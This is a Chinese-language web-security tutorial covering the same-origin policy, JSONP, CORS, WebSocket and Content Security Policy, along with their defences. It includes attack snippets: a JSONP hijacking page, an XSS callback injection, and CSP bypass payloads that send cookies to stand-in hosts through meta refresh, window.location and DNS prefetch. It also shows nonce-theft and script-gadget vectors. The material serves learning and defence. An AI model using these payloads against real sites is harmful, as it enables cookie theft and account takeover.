同源策略 #

同源策略是目前所有浏览器都实行的一种安全政策。

A网页设置的 Cookie,B网页不能打开,除非这两个网页同源。

所谓同源,是指:

两个网页,协议(protocol)、端口(port)、和主机(host)都相同.

如果非同源,以下三种行为受到限制:

(1) Cookie、LocalStorageIndexDB 无法读取。

(2) DOM 无法获得。

(3) AJAX 请求不能发送。

同源策略,哪些东西是同源可以获取到的?

cookie: 服务器写入浏览器的一小段信息,只有同源的网页才能共享

DOM: 如果两个网页不同源,就无法拿到对方的DOM ; 典型的例子是iframe窗口和window.open方法打开的窗口,它们与父窗口无法通信

如果子域名和顶级域名不同源,在哪里可以设置叫他们同源?

两个网页一级域名相同,只是二级域名不同,浏览器允许通过设置document.domain属性共享 Cookie,拿到DOM等。

在根域范围内,可以 把domain属性的值设置为它的上一级域 ;

// 对于文档 www.example.com/good.html,
document.domain = "example.com";
var domain = document.domain;
//上边的写法是正确的
//但不能设置为 "example.com" 或者"example.org"
1
2
3
4
5

Ajax是否遵循同源策略?

同源政策规定,AJAX请求只能发给同源的网址,否则就报错

不同浏览器之间,安全策略有哪些不同?比如chrome,firefox,IE

当涉及到同源策略时,Internet Explorer 有两个主要的不同点

  • 授信范围(Trust Zones):两个相互之间高度互信的域名,如公司域名(corporate domains),不遵守同源策略的限制。
  • 端口:IE 未将端口号加入到同源策略的组成部分之中,
  • 因此 http://company.com:81/index.htmlhttp://company.com/index.html 属于同源并且不受任何限制

如何规避同源策略?

  • 以下三种方法可以规避同源策略的限制
  • JSONP
  • CORS
  • WebSocket

JSONP #

JSONP是服务器与客户端跨源通信的常用方法

JSON with Padding,填充式JSON或者说是参数式JSON

JSONP原理就是动态插入带有跨域url<script>标签,然后调用回调函数

基本语法如下

callback({ "name": "wintrysec" , "msg": "获取成功" });
1

JSONP两部分组成:回调函数和里面的数据。 回调函数是当响应到来时,应该在页面中调用的函数,一般是在发送过去的请求中指定

向服务器请求JSON数据,这种做法不受同源政策限制;服务器收到请求后,将数据放在一个指定名字的回调函数里传回来

function addScriptTag(src) {
  var script = document.createElement('script');
  script.setAttribute("type","text/javascript");
  script.src = src;
  document.body.appendChild(script);
}

window.onload = function () {
  addScriptTag('http://example.com/ip?callback=foo');
}

function foo(data) {
  console.log('Your public IP address is: ' + data.ip);
};
//该请求的查询字符串有一个callback参数,用来指定回调函数的名字,这对于JSONP是必需的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

服务器收到这个请求以后,会将数据放在回调函数的参数位置返回

foo({
  "ip": "8.8.8.8"
});
1
2
3

由于<script>元素请求的脚本,直接作为代码运行。

这时,只要浏览器定义了foo函数,该函数就会立即调用。

作为参数的JSON数据被视为JavaScript对象,而不是字符串,因此避免了使用JSON.parse的步骤

JSONP的劫持 #

JSON 劫持又为 JSON Hijacking ,这个问题属于 CSRF 攻击范畴。 当某网站通过 JSONP 的方式来跨域(一般为子域)传递用户认证后的敏感信息时 攻击者可以构造恶意的 JSONP 调用页面,诱导被攻击者访问,来达到截取用户敏感信息的目的

一个典型的 JSON Hijacking 攻击代码(wooyun):

 <script>
 function wooyun(v){
   alert(v.username);
 }
 </script>
 <script src="http:/xx.cn/?o=sso&m=info&func=wooyun"></script>
1
2
3
4
5
6

当被攻击者在登陆 360 网站的情况下访问了该网页时,那么用户的隐私数据(如用户名,邮箱等)可能被攻击者劫持

JSONP防御 #

1. 验证 JSON 文件调用的来源 Referer

 <script> 远程加载 JSON 文件时会发送 Referer 
 在网站输出 JSON 数据时判断 Referer 是不是白名单合法的,就可以进行防御
1
2

2.随机 token

存在reference伪造(qq.com.evil.com)、空reference、暴力穷举等问题

强大的PHP伪造IP头、Cookies、Reference (opens new window)

最有效的方式还是 综合防御(判断reference和添加随机字串),或使用加在url中的token可以完美解决 但是只要在该网站上出现一个 XSS 漏洞,那么利用这个 XSS 漏洞可能让你的防御体系瞬间崩溃

3.callback函数可定义的安全问题 callback函数的名称可以自定义,而输出环境又是js环境,如果没有严格过滤或审查,可以引起很多其他的攻击方式。

比如后台使用$callback = $_GET['callback'];print $callback.(data); 这样子,认为callback是可信的,而攻击者完全可以将alert(/xss/)作为callback参数传递进去。

这种问题有两种解决方案:

(1) 严格定义 Content-Type: application / json 这样的防御机制导致了浏览器不解析恶意插入的 XSS 代码

(2 )过滤 callback 以及 JSON 数据输出 这样的防御机制是比较传统的攻防思维,对输出点进行 xss 过滤

WebSocket #

WebSocket是一种通信协议,使用ws://(非加密)和wss://(加密)作为协议前缀。

该协议不实行同源政策,只要服务器支持,就可以通过它进行跨源通信。

为什么?

WebSocket请求的头信息中有一个字段是Origin,表示该请求的请求源(origin),即发自哪个域名。

正是因为有了Origin这个字段,所以WebSocket才没有实行同源政策。

因为服务器可以根据这个字段,判断是否许可本次通信。

CORS(重点) #

CORS是跨域资源共享(Cross-Origin Resource Sharing)的缩写。

它允许浏览器向跨源服务器,发出XMLHttpRequest (opens new window)请求,从而克服了AJAX只能同源 (opens new window)使用的限制

它是W3C标准,是跨源AJAX请求的根本解决方法。

CORS请求大致和ajax请求类似,但是在HTTP头信息中加上了Origin字段表明请求来自哪个源。

如果orgin是许可范围之内的话,服务器返回的响应会多出Access-Control-Allow-*的字段

简单请求 #

只要同时满足以下两大条件,就属于简单请求。 (1) 请求方法是以下三种方法之一

HEAD

GET

POST

(2) HTTP的头信息不超出以下几种字段:

Accept

Accept-Language

Content-Language

Last-Event-ID

Content-Type:只限于三个值 application/x-www-form-urlencodedmultipart/form-datatext/plain

浏览器发现这次跨源AJAX请求是简单请求,就自动在头信息之中,添加一个Origin字段

GET /cors HTTP/1.1
Origin: http://api.b.com
Host: api.a.com

Origin字段用来说明,本次请求来自哪个源(协议 + 域名 + 端口)
服务器根据这个值,决定是否同意这次请求
1
2
3
4
5
6

简单请求有三个重要的响应头

(1) Access-Control-Allow-Origin

该字段是必须的,它的值要么是请求时Origin字段的值,要么是一个*,表示接受任意域名的请求

(2)Access-Control-Allow-Credentials

该字段可选,它的值是一个布尔值,表示是否允许发送Cookie。

默认情况下,Cookie不包括在CORS请求之中。

设为true,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。

这个值也只能设为true,如果服务器不要浏览器发送Cookie,删除该字段即可

(3) Access-Control-Expose-Headers

该字段可选,CORS请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段:

Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma

如果想拿到其他字段,就必须在Access-Control-Expose-Headers里面指定。

例如,getResponseHeader('wintrysec')可以返回wintrysec字段的值

响应字段,可请求资源范围

Access-Control-Allow-Origin:*  //表示同意任意跨源请求
1

非简单请求 #

即对服务器有特殊要求的请求,比如PUT方法,自定义HTTP-HEAD头部等

非简单请求的CORS请求,会在正式通信之前,增加一次HTTP查询请求,称为"预检"请求

"预检"请求用OPTIONS方法询问服务器允许的方法

"预检"请求的头信息包括两个特殊字段。 (1)Access-Control-Request-Method 该字段是必须的,用来列出浏览器的CORS请求会用到哪些HTTP方法. (2)Access-Control-Request-Headers 指定浏览器CORS请求会额外发送的http头部信息字段,多个字段用逗号分隔

如果浏览器否定了"预检"请求,会返回一个正常的HTTP回应,但是没有任何CORS相关的头信息字段响应

服务器响应的其他CORS相关字段如下:

Access-Control-Allow-Methods: GET, POST, PUT		//服务器支持的所有跨域请求的方法
Access-Control-Allow-Headers: X-Custom-Header		//服务器支持的所有头信息字段
Access-Control-Allow-Credentials: true				//表示是否允许发送Cookie
Access-Control-Max-Age: 1728000						//用来指定本次预检请求的有效期,单位为秒
1
2
3
4

一旦服务器通过了"预检"请求,以后每次浏览器正常的CORS请求,就都跟简单请求一样,会有一个Origin头信息字段。

服务器的回应,也都会有一个Access-Control-Allow-Origin头信息字段

Github上的一个POC:https://github.com/trustedsec/cors-poc

python3 -m http.server --cgi
1

与JSONP的比较 #

CORSJSONP的使用目的相同,但是比JSONP更强大。

JSONP只支持GET请求,CORS支持所有类型的HTTP请求。

JSONP的优势在于支持老式浏览器,以及可以向不支持CORS的网站请求数据。

CSP是什么?如何设置CSP? #

CSP(Content Security Policy)浏览器内容安全策略, 为了缓解部分跨站脚本问题 。

CSP的实质就是白名单机制,对网站加载或执行的资源进行安全策略的控制。

两种方法启用CSP

1. 添加HTTP头信息;
Content-Security-Policy: script-src 'self'; object-src 'none'; style-src cdn.example.org; child-src https:
2. 使用<meta>标签
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org; child-src https:">
参数解释

script-src(脚本):只信任当前域名
object-src(标签):不信任任何URL,即不加载任何资源
样式表:只信任http://cdn.example.org
框架(frame):必须使用HTTPS协议加载
1
2
3
4
5
6
7
8
9
10

CSP各种限制选项参考:知乎回答 (opens new window)CSP基础语法和绕过 (opens new window)

绕过CSP(1、2、3、5 重点) #

1.URL跳转

default-src 'none'的情况下,可以使用meta标签实现跳转

<meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
1

在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过

<script>
  window.location="http://www.xss.com/x.php?c=[cookie]";
</script>
1
2
3

2.link标签预加载

在Firefox下,可以将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie

<link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">
1

3.利用浏览器补全

有些网站限制只有某些脚本才能使用,往往会使用script标签的nonce属性,只有nonce一致的脚本才生效

Content-Security-Policy: default-src 'none';script-src 'nonce-abc'

//CSP设置nonce为abc属性的标签
1
2
3

那么当脚本插入点为如下的情况时

<p>插入点</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
1
2

可以插入

<script src=//14.rs a="
1

这样会拼成一个新的script标签,其中的src可以自由设定

<p><script src=//14.rs a="</p>
<script id="aa" nonce="abc">document.write('CSP');</script>
1
2

4.代码重用

假设页面中使用了Jquery-mobile库,并且CSP策略中包含"script-src 'unsafe-eval' "或者"script-src 'strict-dynamic'"

那么下面的向量就可以绕过CSP

<div data-role=popup id='<script>alert(1)</script>'></div>
1

5.ifrmae

(1) 如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP

<iframe src="B"></iframe>
1

(2) 在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,

例如"http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js

<iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>
1

6.meta标签

meta标签有一些不常用的功能有时候有奇效: meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce

<meta http-equiv="cache-control" content="public">
1

meta可以设置Cookie(Firefox下),可以结合self-xss利用

<meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">
1
上次更新: 11/2/2023, 3:02:48 AM